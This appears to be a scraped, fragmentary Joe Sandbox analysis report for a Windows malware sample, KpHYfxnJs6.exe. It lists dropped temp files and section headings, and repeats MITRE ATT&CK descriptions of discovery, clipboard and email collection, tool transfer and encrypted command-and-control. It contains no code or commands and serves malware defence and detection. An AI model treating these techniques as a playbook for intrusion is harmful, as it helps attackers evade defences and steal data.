Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report KpHYfxnJs6.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Data Obfuscation

Stealing of Sensitive Information

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\ ? \Display (1).png

C:\Users\user\AppData\Local\Temp\CoY55.zip

C:\Users\user\AppData\Local\Temp\RESED03.tmp

C:\Users\user\AppData\Local\Temp\_MEI73202\VCRUNTIME140.dll

C:\Users\user\AppData\Local\Temp\_MEI73202\_bz2.pyd

C:\Users\user\AppData\Local\Temp\_MEI73202\_ctypes.pyd

C:\Users\user\AppData\Local\Temp\_MEI73202\_decimal.pyd

C:\Users\user\AppData\Local\Temp\_MEI73202\_hashlib.pyd

C:\Users\user\AppData\Local\Temp\_MEI73202\_lzma.pyd

Windows Analysis Report
KpHYfxnJs6.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre